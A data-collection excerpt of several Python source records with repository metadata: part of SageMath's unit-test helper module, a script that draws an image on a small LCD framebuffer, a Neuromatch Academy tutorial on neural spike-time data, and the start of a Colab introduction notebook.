2, 3, 4]\n\n            sage: tester = InstanceTester(ZZ, elements = srange(3), max_runs=5)\n            sage: list(tester.some_elements())\n            [0, 1, 2]\n\n        The ``repeat`` keyword can give pairs or triples from ``S``::\n\n            sage: list(tester.some_elements(repeat=2))\n            [(0, 0), (0, 1), (0, 2), (1, 0), (1, 1)]\n\n        You can use ``max_samples`` to sample at random, instead of in order::\n\n            sage: tester = InstanceTester(ZZ, elements = srange(8), max_samples = 4)\n            sage: all(t in srange(8) for t in tester.some_elements())\n            True\n            sage: all(s in srange(8) and t in srange(8) for s,t in tester.some_elements(repeat=2))\n            True\n\n        Test for :trac:`15919`, :trac:`16244`::\n\n            sage: Z = IntegerModRing(25) # random.sample, which was used pre #16244, has a threshold at 21!\n            sage: Z[1]                   # since #8389, indexed access is used for ring extensions\n            Traceback (most recent call last):\n            ...\n            ValueError: variable name '1' does not start with a letter\n            sage: tester = InstanceTester(Z, elements=Z, max_runs=5)\n            sage: list(tester.some_elements())\n            [0, 1, 2, 3, 4]\n\n            sage: C = cartesian_product([Z]*4)\n            sage: len(C)\n            390625\n            sage: tester = InstanceTester(C, elements = C, max_runs=4)\n            sage: list(tester.some_elements())\n            [(0, 0, 0, 0), (0, 0, 0, 1), (0, 0, 0, 2), (0, 0, 0, 3)]\n        \"\"\"\n        S = S or self._elements or self._instance.some_elements()\n        from sage.misc.misc import some_tuples\n        return list(some_tuples(S, repeat, self._max_runs, self._max_samples))\n\n\nclass PythonObjectWithTests(object):\n    \"\"\"\n    Utility class for running basis tests on a plain Python object\n    (that is not in SageObject). More test methods can be added here.\n\n    EXAMPLES::\n\n        sage: TestSuite(\"bla\").run()\n    \"\"\"\n    def __init__(self, instance):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import PythonObjectWithTests\n            sage: x = PythonObjectWithTests(int(1)); x\n            <sage.misc.sage_unittest.PythonObjectWithTests object at ...>\n            sage: TestSuite(x).run()\n        \"\"\"\n        self._instance = instance\n\n    def _test_pickling(self, **options):\n        \"\"\"\n        Checks that the instance in self can be pickled and unpickled properly.\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import PythonObjectWithTests\n            sage: PythonObjectWithTests(int(1))._test_pickling()\n\n        .. SEEALSO::\n\n            :func:`dumps`, :func:`loads`\n        \"\"\"\n        tester = instance_tester(self, **options)\n        from sage.misc.all import loads, dumps\n        tester.assertEqual(loads(dumps(self._instance)), self._instance)\n\n    def _test_new(self, **options):\n        \"\"\"\n        Check that ``cls.__new__(cls)`` does not crash Python, with\n        ``cls`` either the tested instance (if it's a type) or the type\n        of the instance.\n\n        It is perfectly legal for ``__new__`` to raise ordinary\n        exceptions.\n\n        EXAMPLES::\n\n            sage: TestSuite(int(1)).run(verbose=True)\n            running ._test_new() . . . pass\n            running ._test_pickling() . . . pass\n            sage: TestSuite(int).run(verbose=True)\n            running ._test_new() . . . pass\n            running ._test_pickling() . . . pass\n        \"\"\"\n        cls = self._instance\n        if not isinstance(cls, type):\n            cls = type(cls)\n        try:\n            cls.__new__(cls)\n        except Exception:\n            pass\n", "meta": {"hexsha": "18827dfd1180beac5f79371a9382d924acfcf710", "size": 24086, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/sage_unittest.py", "max_stars_repo_name": "sensen1/sage", "max_stars_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-15T21:45:56.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T21:45:56.000Z", "max_issues_repo_path": "src/sage/misc/sage_unittest.py", "max_issues_repo_name": "sensen1/sage", "max_issues_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/sage_unittest.py", "max_forks_repo_name": "sensen1/sage", "max_forks_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.5756630265, "max_line_length": 107, "alphanum_fraction": 0.5701652412, "include": true, "reason": "from sage", "num_tokens": 5379, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.18476751289253923, "lm_q1q2_score": 0.09021890853553596}}
{"text": "#!/usr/bin/env python2\r\nfrom PIL import Image\r\nimport numpy as np\r\n \r\nim = Image.open('pic.jpg')\r\n \r\nw, h = im.size\r\nprint( \"w:\", w ,\"h:\", h)\r\nif w != 240 or h != 240:\r\n\traise ValueError('Image must be same dimensions as display \\\r\n\t\t({0}x{1}).' .format(240, 240))\r\n\t\t\t\t\r\nwith open('/dev/fb1', 'wb') as f:\r\n\timg = np.asarray(im)\r\n\tpix = np.zeros((240,240,2), dtype = np.uint8)\r\n\tpix[...,[1]] = np.add(np.bitwise_and(img[...,[0]],0xF8),np.right_shift(img[...,[1]],5))\r\n\tpix[...,[0]] = np.add(np.bitwise_and(np.left_shift(img[...,[1]],3),0xE0),np.right_shift(img[...,[2]],3))\r\n\tpix = pix.flatten().tobytes()\r\n\tf.write(pix)\t\r\n", "meta": {"hexsha": "a268edb1b053a3d8e760c810cccbb15177da1526", "size": 623, "ext": "py", "lang": "Python", "max_stars_repo_path": "fbtft/fb.py", "max_stars_repo_name": "Youngermaster/1.3-inch-LCD-HAT", "max_stars_repo_head_hexsha": "f69cace7f0c57f90920b704248a4f12751b40c8f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-21T03:33:29.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-21T03:33:29.000Z", "max_issues_repo_path": "fbtft/fb.py", "max_issues_repo_name": "Youngermaster/1.3-inch-LCD-HAT", "max_issues_repo_head_hexsha": "f69cace7f0c57f90920b704248a4f12751b40c8f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-03-21T03:34:18.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-21T15:05:54.000Z", "max_forks_repo_path": "fbtft/fb.py", "max_forks_repo_name": "Youngermaster/1.3-inch-LCD-HAT", "max_forks_repo_head_hexsha": "f69cace7f0c57f90920b704248a4f12751b40c8f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.15, "max_line_length": 106, "alphanum_fraction": 0.5762439807, "include": true, "reason": "import numpy", "num_tokens": 215, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.17106119167858438, "lm_q1q2_score": 0.09020339288111685}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# \n# #  Tutorial 1: \"What\" models\n# __Content creators:__ Matt Laporte, Byron Galbraith, Konrad Kording\n# \n# __Content reviewers:__ Dalin Guo, Aishwarya Balwani, Madineh Sarvestani, Maryam Vaziri-Pashkam, Michael Waskom\n# \n# We would like to acknowledge [Steinmetz _et al._ (2019)](https://www.nature.com/articles/s41586-019-1787-x) for sharing their data, a subset of which is used here.\n# \n\n# ___\n# # Tutorial Objectives\n# This is tutorial 1 of a 3-part series on different flavors of models used to understand neural data. In this tutorial we will explore 'What' models, used to describe the data. To understand what our data looks like, we will visualize it in different ways. Then we will compare it to simple mathematical models. Specifically, we will:\n# \n# - Load a dataset with spiking activity from hundreds of neurons and understand how it is organized\n# - Make plots to visualize characteristics of the spiking activity across the population\n# - Compute the distribution of \"inter-spike intervals\" (ISIs) for a single neuron\n# - Consider several formal models of this distribution's shape and fit them to the data \"by hand\"\n\n# In[ ]:\n\n\n#@title Video 1: \"What\" Models\nfrom IPython.display import YouTubeVideo\nvideo = YouTubeVideo(id='KgqR_jbjMQg', width=854, height=480, fs=1)\nprint(\"Video available at https://youtube.com/watch?v=\" + video.id)\nvideo\n\n\n# # Setup\n# \n# \n\n# Python requires you to explictly \"import\" libraries before their functions are available to use. We will always specify our imports at the beginning of each notebook or script.\n\n# In[ ]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# Tutorial notebooks typically begin with several set-up steps that are hidden from view by default.\n# \n# **Important:** Even though the code is hidden, you still need to run it so that the rest of the notebook can work properly. Step through each cell, either by pressing the play button in the upper-left-hand corner or with a keyboard shortcut (`Cmd-Return` on a Mac, `Ctrl-Enter` otherwise). A number will appear inside the brackets (e.g. `[3]`) to tell you that the cell was executed and what order that happened in.\n# \n# If you are curious to see what is going on inside each cell, you can double click to expand. Once expanded, double-click the white space to the right of the editor to collapse again.\n\n# In[ ]:\n\n\n#@title Figure Settings\nimport ipywidgets as widgets #interactive display\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nget_ipython().run_line_magic('config', \"InlineBackend.figure_format = 'retina'\")\nplt.style.use(\"https://raw.githubusercontent.com/NeuromatchAcademy/course-content/master/nma.mplstyle\")\n\n\n# In[ ]:\n\n\n#@title Helper functions\n\n#@markdown Most of the tutorials make use of helper functions\n#@markdown to simplify the code that you need to write. They are defined here.\n\n# Please don't edit these, or worry about understanding them now!\n\ndef restrict_spike_times(spike_times, interval):\n  \"\"\"Given a spike_time dataset, restrict to spikes within given interval.\n\n  Args:\n    spike_times (sequence of np.ndarray): List or array of arrays,\n      each inner array has spike times for a single neuron.\n    interval (tuple): Min, max time values; keep min <= t < max.\n\n  Returns:\n    np.ndarray: like `spike_times`, but only within `interval`\n  \"\"\"\n  interval_spike_times = []\n  for spikes in spike_times:\n    interval_mask = (spikes >= interval[0]) & (spikes < interval[1])\n    interval_spike_times.append(spikes[interval_mask])\n  return np.array(interval_spike_times, object)\n\n\n# In[ ]:\n\n\n#@title Data retrieval\n#@markdown This cell downloads the example dataset that we will use in this tutorial.\nimport io\nimport requests\nr = requests.get('https://osf.io/sy5xt/download')\nif r.status_code != 200:\n  print('Failed to download data')\nelse:\n  spike_times = np.load(io.BytesIO(r.content), allow_pickle=True)['spike_times']\n\n\n# ---\n# \n# # Section 1: Exploring the Steinmetz dataset\n# \n# In this tutorial we will explore the structure of a neuroscience dataset. \n# \n# We consider a subset of data from a study of [Steinmetz _et al._ (2019)](https://www.nature.com/articles/s41586-019-1787-x). In this study, Neuropixels probes were implanted in the brains of mice. Electrical potentials were measured by hundreds of electrodes along the length of each probe. Each electrode's measurements captured local variations in the electric field due to nearby spiking neurons. A spike sorting algorithm was used to infer spike times and cluster spikes according to common origin: a single cluster of sorted spikes is causally attributed to a single neuron.\n# \n# In particular, a single recording session of spike times and neuron assignments was loaded and assigned to `spike_times` in the preceding setup. \n# \n# Typically a dataset comes with some information about its structure. However, this information may be incomplete. You might also apply some transformations or \"pre-processing\" to create a working representation of the data of interest, which might go partly undocumented depending on the circumstances. In any case it is important to be able to use the available tools to investigate unfamiliar aspects of a data structure. \n# \n# Let's see what our data looks like...\n\n# ## Section 1.1: Warming up with `spike_times`\n\n# What is the Python type of our variable?\n\n# In[ ]:\n\n\ntype(spike_times)\n\n\n# You should see `numpy.ndarray`, which means that it's a normal NumPy array.\n# \n# If you see an error message, it probably means that you did not execute the set-up cells at the top of the notebook. So go ahead and make sure to do that.\n# \n# Once everything is running properly, we can ask the next question about the dataset: what's its shape?\n\n# In[ ]:\n\n\nspike_times.shape\n\n\n# There are 734 entries in one dimension, and no other dimensions. What is the Python type of the first entry, and what is *its* shape?\n\n# In[ ]:\n\n\nidx = 0\nprint(\n  type(spike_times[idx]),\n  spike_times[idx].shape,\n  sep=\"\\n\",\n)\n\n\n# It's also a NumPy array with a 1D shape! Why didn't this show up as a second dimension in the shape of `spike_times`? That is, why not `spike_times.shape == (734, 826)`?\n# \n# To investigate, let's check another entry.\n\n# In[ ]:\n\n\nidx = 321\nprint(\n  type(spike_times[idx]),\n  spike_times[idx].shape,\n  sep=\"\\n\",\n)\n\n\n# It's also a 1D NumPy array, but it has a different shape. Checking the NumPy types of the values in these arrays, and their first few elements, we see they are composed of floating point numbers (not another level of `np.ndarray`):\n\n# In[ ]:\n\n\ni_neurons = [0, 321]\ni_print = slice(0, 5)\n\nfor i in i_neurons:\n  print(\n    \"Neuron {}:\".format(i),\n    spike_times[i].dtype,\n    spike_times[i][i_print],\n    \"\\n\",\n    sep=\"\\n\"\n  )\n\n\n# Note that this time we've checked the NumPy `dtype` rather than the Python variable type. These two arrays contain floating point numbers (\"floats\") with 32 bits of precision.\n# \n# The basic picture is coming together:\n# - `spike_times` is 1D, its entries are NumPy arrays, and its length is the number of neurons (734): by indexing it, we select a subset of neurons. \n# - An array in `spike_times` is also 1D and corresponds to a single neuron; its entries are floating point numbers, and its length is the number of spikes attributed to that neuron. By indexing it, we select a subset of spike times for that neuron. \n# \n# Visually, you can think of the data structure as looking something like this:\n# \n# ```\n# | . . . . . |\n# | . . . . . . . . |\n# | . . . |\n# | . . . . . . . |\n# ```\n# \n# Before moving on, we'll calculate and store the number of neurons in the dataset and the number of spikes per neuron:\n\n# In[ ]:\n\n\nn_neurons = len(spike_times)\ntotal_spikes_per_neuron = [len(spike_times_i) for spike_times_i in spike_times]\n\nprint(f\"Number of neurons: {n_neurons}\")\nprint(f\"Number of spikes for first five neurons: {total_spikes_per_neuron[:5]}\")\n\n\n# In[ ]:\n\n\n#@title Video 2: Exploring the dataset\nfrom IPython.display import YouTubeVideo\nvideo = YouTubeVideo(id='oHwYWUI_o1U', width=854, height=480, fs=1)\nprint(\"Video available at https://youtube.com/watch?v=\" + video.id)\nvideo\n\n\n# ## Section 1.2: Getting warmer: counting and plotting total spike counts\n# \n# As we've seen, the number of spikes over the entire recording is variable between neurons. More generally, some neurons tend to spike more than others in a given period. Lets explore what the distribution of spiking looks like across all the neurons in the dataset.\n\n# Are most neurons \"loud\" or \"quiet\", compared to the average? To see, we'll define bins of constant width in terms of total spikes and count the neurons that fall in each bin. This is known as a \"histogram\".\n# \n# You can plot a histogram with the matplotlib function `plt.hist`. If you just need to compute it, you can use the numpy function `np.histogram` instead.\n\n# In[ ]:\n\n\nplt.hist(total_spikes_per_neuron, bins=50, histtype=\"stepfilled\")\nplt.xlabel(\"Total spikes per neuron\")\nplt.ylabel(\"Number of neurons\");\n\n\n# Let's see what percentage of neurons have a below-average spike count:\n\n# In[ ]:\n\n\nmean_spike_count = np.mean(total_spikes_per_neuron)\nfrac_below_mean = (total_spikes_per_neuron < mean_spike_count).mean()\nprint(f\"{frac_below_mean:2.1%} of neurons are below the mean\")\n\n\n# We can also see this by adding the average spike count to the histogram plot:\n\n# In[ ]:\n\n\nplt.hist(total_spikes_per_neuron, bins=50, histtype=\"stepfilled\")\nplt.xlabel(\"Total spikes per neuron\")\nplt.ylabel(\"Number of neurons\")\nplt.axvline(mean_spike_count, color=\"orange\", label=\"Mean neuron\")\nplt.legend();\n\n\n# This shows that the majority of neurons are relatively \"quiet\" compared to the mean, while a small number of neurons are exceptionally \"loud\": they must have spiked more often to reach a large count.\n# \n# ### Exercise 1: Comparing mean and median neurons\n# \n# If the mean neuron is more active than 68% of the population, what does that imply about the relationship between the mean neuron and the median neuron?\n# \n# *Exercise objective:* Reproduce the plot above, but add the median neuron.\n# \n\n# In[ ]:\n\n\n# To complete the exercise, fill in the missing parts (...) and uncomment the code\n\nmedian_spike_count = ...  # Hint: Try the function np.median\n\n# plt.hist(..., bins=50, histtype=\"stepfilled\")\n# plt.axvline(..., color=\"limegreen\", label=\"Median neuron\")\n# plt.axvline(mean_spike_count, color=\"orange\", label=\"Mean neuron\")\n# plt.xlabel(\"Total spikes per neuron\")\n# plt.ylabel(\"Number of neurons\")\n# plt.legend()\n\n\n# [*Click for solution*](https://github.com/NeuromatchAcademy/course-content/tree/master//tutorials/W1D1_ModelTypes/solutions/W1D1_Tutorial1_Solution_b3411d5d.py)\n# \n# *Example output:*\n# \n# <img alt='Solution hint' align='left' width=558 height=413 src=https://raw.githubusercontent.com/NeuromatchAcademy/course-content/master/tutorials/W1D1_ModelTypes/static/W1D1_Tutorial1_Solution_b3411d5d_0.png>\n# \n# \n\n# \n# *Bonus:* The median is the 50th percentile. What about other percentiles? Can you show the interquartile range on the histogram?\n\n# ---\n# \n# # Section 2: Visualizing neuronal spiking activity\n\n# ## Section 2.1: Getting a subset of the data\n# \n# Now we'll visualize trains of spikes. Because the recordings are long, we will first define a short time interval and restrict the visualization to only the spikes in this interval. We defined a utility function, `restrict_spike_times`, to do this for you. If you call `help()` on the function, it will tell you a little bit about itself:\n\n# In[ ]:\n\n\nhelp(restrict_spike_times)\n\n\n# In[ ]:\n\n\nt_interval = (5, 15)  # units are seconds after start of recording\ninterval_spike_times = restrict_spike_times(spike_times, t_interval)\n\n\n# Is this a representative interval? What fraction of the total spikes fall in this interval?\n\n# In[ ]:\n\n\noriginal_counts = sum([len(spikes) for spikes in spike_times])\ninterval_counts = sum([len(spikes) for spikes in interval_spike_times])\nfrac_interval_spikes = interval_counts / original_counts\nprint(f\"{frac_interval_spikes:.2%} of the total spikes are in the interval\")\n\n\n# How does this compare to the ratio between the interval duration and the experiment duration? (What fraction of the total time is in this interval?)\n# \n# We can approximate the experiment duration by taking the minimum and maximum spike time in the whole dataset. To do that, we \"concatenate\" all of the neurons into one array and then use `np.ptp` (\"peak-to-peak\") to get the difference between the maximum and minimum value:\n\n# In[ ]:\n\n\nspike_times_flat = np.concatenate(spike_times)\nexperiment_duration = np.ptp(spike_times_flat)\ninterval_duration = t_interval[1] - t_interval[0]\n\nfrac_interval_time = interval_duration / experiment_duration\nprint(f\"{frac_interval_time:.2%} of the total time is in the interval\")\n\n\n# These two values\u2014the fraction of total spikes and the fraction of total time\u2014are similar. This suggests the average spike rate of the neuronal population is not very different in this interval compared to the entire recording.\n# \n# ## Section 2.2: Plotting spike trains and rasters\n# \n# Now that we have a representative subset, we're ready to plot the spikes, using the matplotlib `plt.eventplot` function. Let's look at a single neuron first:\n\n# In[ ]:\n\n\nneuron_idx = 1\nplt.eventplot(interval_spike_times[neuron_idx], color=\".2\")\nplt.xlabel(\"Time (s)\")\nplt.yticks([]);\n\n\n# We can also plot multiple neurons. Here are three:\n\n# In[ ]:\n\n\nneuron_idx = [1, 11, 51]\nplt.eventplot(interval_spike_times[neuron_idx], color=\".2\")\nplt.xlabel(\"Time (s)\")\nplt.yticks([]);\n\n\n# This makes a \"raster\" plot, where the spikes from each neuron appear in a different row.\n# \n# Plotting a large number of neurons can give you a sense for the characteristics in the population. Let's show every 5th neuron that was recorded:\n\n# In[ ]:\n\n\nneuron_idx = np.arange(0, len(spike_times), 5)\nplt.eventplot(interval_spike_times[neuron_idx], color=\".2\")\nplt.xlabel(\"Time (s)\")\nplt.yticks([]);\n\n\n# *Question*: How does the information in this plot relate to the histogram of total spike counts that you saw above?\n\n# In[ ]:\n\n\n#@title Video 3: Visualizing activity\nfrom IPython.display import YouTubeVideo\nvideo = YouTubeVideo(id='QGA5FCW7kkA', width=854, height=480, fs=1)\nprint(\"Video available at https://youtube.com/watch?v=\" + video.id)\nvideo\n\n\n# ---\n# \n# # Section 3: Inter-spike intervals and their distributions\n\n# Given the ordered arrays of spike times for each neuron in `spike_times`, which we've just visualized, what can we ask next? \n# \n# Scientific questions are informed by existing models. So, what knowledge do we already have that can inform questions about this data?\n# \n# We know that there are physical constraints on neuron spiking. Spiking costs energy, which the neuron's cellular machinery can only obtain at a finite rate. Therefore neurons should have a refractory period: they can only fire as quickly as their metabolic processes can support, and there is a minimum delay between consecutive spikes of the same neuron.\n# \n# More generally, we can ask \"how long does a neuron wait to spike again?\" or \"what is the longest a neuron will wait?\" Can we transform spike times into something else, to address questions like these more directly?\n# \n# We can consider the inter-spike times (or interspike intervals: ISIs). These are simply the time differences between consecutive spikes of the same neuron.\n# \n# ### Exercise 2: Plot the distribution of ISIs for a single neuron\n# \n# *Exercise objective:* make a histogram, like we did for spike counts, to show the distribution of ISIs for one of the neurons in the dataset.\n# \n# Do this in three steps:\n# \n# 1. Extract the spike times for one of the neurons\n# 2. Compute the ISIs (the amount of time between spikes, or equivalently, the difference between adjacent spike times)\n# 3. Plot a histogram with the array of individual ISIs\n\n# In[ ]:\n\n\ndef compute_single_neuron_isis(spike_times, neuron_idx):\n  \"\"\"Compute a vector of ISIs for a single neuron given spike times.\n\n  Args:\n    spike_times (list of 1D arrays): Spike time dataset, with the first\n      dimension corresponding to different neurons.\n    neuron_idx (int): Index of the unit to compute ISIs for.\n\n  Returns:\n    isis (1D array): Duration of time between each spike from one neuron.\n  \"\"\"\n  #############################################################################\n  # Students: Fill in missing code (...) and comment or remove the next line\n  raise NotImplementedError(\"Exercise: compute single neuron ISIs\")\n  #############################################################################\n\n  # Extract the spike times for the specified neuron\n  single_neuron_spikes = ...\n\n  # Compute the ISIs for this set of spikes\n  # Hint: the function np.diff computes discrete differences along an array\n  isis = ...\n\n  return isis\n\n# Uncomment the following lines when you are ready to test your function\n# single_neuron_isis = compute_single_neuron_isis(spike_times, neuron_idx=283)\n# plt.hist(single_neuron_isis, bins=50, histtype=\"stepfilled\")\n# plt.axvline(single_neuron_isis.mean(), color=\"orange\", label=\"Mean ISI\")\n# plt.xlabel(\"ISI duration (s)\")\n# plt.ylabel(\"Number of spikes\")\n# plt.legend()\n\n\n# [*Click for solution*](https://github.com/NeuromatchAcademy/course-content/tree/master//tutorials/W1D1_ModelTypes/solutions/W1D1_Tutorial1_Solution_4792dbfa.py)\n# \n# *Example output:*\n# \n# <img alt='Solution hint' align='left' width=558 height=414 src=https://raw.githubusercontent.com/NeuromatchAcademy/course-content/master/tutorials/W1D1_ModelTypes/static/W1D1_Tutorial1_Solution_4792dbfa_0.png>\n# \n# \n\n# ---\n# \n# In general, the shorter ISIs are predominant, with counts decreasing rapidly (and smoothly, more or less) with increasing ISI. However, counts also rapidly decrease to zero with _decreasing_ ISI, below the maximum of the distribution (8-11 ms). The absence of these very low ISIs agrees with the refractory period hypothesis: the neuron cannot fire quickly enough to populate this region of the ISI distribution.\n# \n# Check the distributions of some other neurons. To resolve various features of the distributions, you might need to play with the value of `n_bins`. Using too few bins might smooth over interesting details, but if you use too many bins, the random variability will start to dominate.\n# \n# You might also want to restrict the range to see the shape of the distribution when focusing on relatively short or long ISIs. *Hint:* `plt.hist` takes a `range` argument \n\n# ---\n# \n# # Section 4: What is the functional form of an ISI distribution?\n\n# In[ ]:\n\n\n#@title Video 4: ISI distribution\nfrom IPython.display import YouTubeVideo\nvideo = YouTubeVideo(id='DHhM80MOTe8', width=854, height=480, fs=1)\nprint(\"Video available at https://youtube.com/watch?v=\" + video.id)\nvideo\n\n\n# The ISI histograms seem to follow continuous, monotonically decreasing functions above their maxima. The function is clearly non-linear. Could it belong to a single family of functions?\n# \n# To motivate the idea of using a mathematical function to explain physiological phenomena, let's define a few different function forms that we might expect the relationship to follow: exponential, inverse, and linear.\n\n# In[ ]:\n\n\ndef exponential(xs, scale, rate, x0):\n  \"\"\"A simple parametrized exponential function, applied element-wise.\n\n  Args:\n    xs (np.ndarray or float): Input(s) to the function.\n    scale (float): Linear scaling factor.\n    rate (float): Exponential growth (positive) or decay (negative) rate.\n    x0 (float): Horizontal offset.\n\n  \"\"\"\n  ys = scale * np.exp(rate * (xs - x0))\n  return ys\n\ndef inverse(xs, scale, x0):\n  \"\"\"A simple parametrized inverse function (`1/x`), applied element-wise.\n\n  Args:\n    xs (np.ndarray or float): Input(s) to the function.\n    scale (float): Linear scaling factor.\n    x0 (float): Horizontal offset.\n\n  \"\"\"\n  ys = scale / (xs - x0)\n  return ys\n\ndef linear(xs, slope, y0):\n  \"\"\"A simple linear function, applied element-wise.\n\n  Args:\n    xs (np.ndarray or float): Input(s) to the function.\n    slope (float): Slope of the line.\n    y0 (float): y-intercept of the line.\n\n  \"\"\"\n  ys = slope * xs + y0\n  return ys\n\n\n# ### Interactive Demo: ISI functions explorer\n# \n# Here is an interactive demo where you can vary the parameters of these functions and see how well the resulting outputs correspond to the data. Adjust the parameters by moving the sliders and see how close you can get the lines to follow the falling curve of the histogram. This will give you a taste of what you're trying to do when you *fit a model* to data.\n# \n# \"Interactive demo\" cells have hidden code that defines an interface where you can play with the parameters of some function using sliders. You don't need to worry about how the code works \u2013\u00a0but you do need to **run the cell** to enable the sliders.\n# \n\n# In[ ]:\n\n\n#@title\n\n#@markdown Be sure to run this cell to enable the demo\n# Don't worry about understanding this code! It's to setup an interactive plot.\nsingle_neuron_idx = 283\nsingle_neuron_spikes = spike_times[single_neuron_idx]\nsingle_neuron_isis = np.diff(single_neuron_spikes)\n\ncounts, edges = np.histogram(\n  single_neuron_isis,\n  bins=50,\n  range=(0, single_neuron_isis.max())\n)\n\nfunctions = dict(\n  exponential=exponential,\n  inverse=inverse,\n  linear=linear,\n)\n\ncolors = dict(\n  exponential=\"C1\",\n  inverse=\"C2\",\n  linear=\"C4\",\n)\n\n@widgets.interact(\n  exp_scale=widgets.FloatSlider(1000, min=0, max=20000, step=250),\n  exp_rate=widgets.FloatSlider(-10, min=-200, max=50, step=1),\n  exp_x0=widgets.FloatSlider(0.1, min=-0.5, max=0.5, step=0.005),\n  inv_scale=widgets.FloatSlider(1000, min=0, max=3e2, step=10),\n  inv_x0=widgets.FloatSlider(0, min=-0.2, max=0.2, step=0.01),\n  lin_slope=widgets.FloatSlider(-1e5, min=-6e5, max=1e5, step=10000),\n  lin_y0=widgets.FloatSlider(10000, min=0, max=4e4, step=1000),\n)\ndef fit_plot(\n  exp_scale=1000, exp_rate=-10, exp_x0=0.1,\n  inv_scale=1000, inv_x0=0,\n  lin_slope=-1e5, lin_y0=2000,\n):\n  \"\"\"Helper function for plotting function fits with interactive sliders.\"\"\"\n  func_params = dict(\n    exponential=(exp_scale, exp_rate, exp_x0),\n    inverse=(inv_scale, inv_x0),\n    linear=(lin_slope, lin_y0),\n  )\n  f, ax = plt.subplots()\n  ax.fill_between(edges[:-1], counts, step=\"post\", alpha=.5)\n  xs = np.linspace(1e-10, edges.max())\n  for name, function in functions.items():\n    ys = function(xs, *func_params[name])\n    ax.plot(xs, ys, lw=3, color=colors[name], label=name);\n  ax.set(\n      xlim=(edges.min(), edges.max()),\n      ylim=(0, counts.max() * 1.1),\n      xlabel=\"ISI (s)\",\n      ylabel=\"Number of spikes\",\n  )\n  ax.legend()\n\n\n# In[ ]:\n\n\n#@title Video 5: Fitting models by hand\nfrom IPython.display import YouTubeVideo\nvideo = YouTubeVideo(id='uW2HDk_4-wk', width=854, height=480, fs=1)\nprint(\"Video available at https://youtube.com/watch?v=\" + video.id)\nvideo\n\n\n# # Summary\n# \n# In this tutorial, we loaded some neural data and poked at it to understand how the dataset is organized. Then we made some basic plots to visualize (1) the average level of activity across the population and (2) the distribution of ISIs for an individual neuron. In the very last bit, we started to think about using mathematical formalisms to understand or explain some physiological phenomenon. All of this only allowed us to understand \"What\" the data looks like.\n# \n# This is the first step towards developing models that can tell us something about the brain. That's what we'll focus on in the next two tutorials.\n", "meta": {"hexsha": "724dcc6239721bf5d0a4f1861585733cf8ccfc19", "size": 23521, "ext": "py", "lang": "Python", "max_stars_repo_path": "prototype/_build/jupyter_execute/W1D1_Tutorial1.py", "max_stars_repo_name": "ebatty/prototype", "max_stars_repo_head_hexsha": "9789b6109d93d6bb166f8aea81364d15f5315455", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "prototype/_build/jupyter_execute/W1D1_Tutorial1.py", "max_issues_repo_name": "ebatty/prototype", "max_issues_repo_head_hexsha": "9789b6109d93d6bb166f8aea81364d15f5315455", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "prototype/_build/jupyter_execute/W1D1_Tutorial1.py", "max_forks_repo_name": "ebatty/prototype", "max_forks_repo_head_hexsha": "9789b6109d93d6bb166f8aea81364d15f5315455", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.1834415584, "max_line_length": 581, "alphanum_fraction": 0.7365333107, "include": true, "reason": "import numpy", "num_tokens": 5869, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.21733752611649484, "lm_q1q2_score": 0.09017308873405881}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/probml-notebooks/blob/main/notebooks/colab_intro.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"24_OboyL7tqe\"\n# # Introduction to colab\n#\n# Kevin Murphy, June 2021.\n#\n# Colab is Google's version of Jupyter notebooks, but has the following advantages:\n# - it runs in the cloud, not locally, so you can use it from a cheap laptop, such as a Chromebook. \n# - The notebook is saved in your Google drive, so you can share your notebook with someone else and work on it collaboratively.\n# - it has nearly all of the packages you need for doing ML pre-installed\n# - it gives you free access to GPUs\n# - it has a [file 